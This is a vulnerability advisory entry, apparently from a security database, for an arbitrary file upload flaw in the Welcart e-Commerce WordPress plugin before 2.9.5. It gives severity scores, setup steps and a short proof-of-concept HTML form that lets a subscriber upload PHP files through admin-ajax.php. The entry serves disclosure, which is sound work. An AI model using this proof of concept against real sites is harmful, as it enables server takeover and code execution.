Welcart e-Commerce < 2.9.5 - Subscriber+ Arbitrary File Upload

2023-11-1000:00:00

Benachi

arbitrary file upload

settlement settings

セキュリティ

php file

admin-ajax.php

certificate upload

7.4 High

AI Score

Confidence

Low

0.001 Low

EPSS

Percentile

19.3%

JSON

Description The plugin does not validate files to be uploaded, as well as does not have authorisation and CSRF in an AJAX action handling such upload. As a result, any authenticated users, such as subscriber could upload arbitrary files, such as PHP on the server

Setup (As admin):
- Go the the Settlement Settings ad drag the "ペイジェント" module to the 'Settlement modules in use' section, then click the update button
- Setup the module and upload a certificate

Attack (as a subscriber), login to the blog, open a page with the code below and select a PHP file:
<body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
        <input type="text" name="action" value="upload_certificate_file"/>
        <input type="file" name="upfile"/>
        <input type="submit" value="submit"/>
    </form>
</body>

This will upload the php file to the uploads/xxxxx/ folder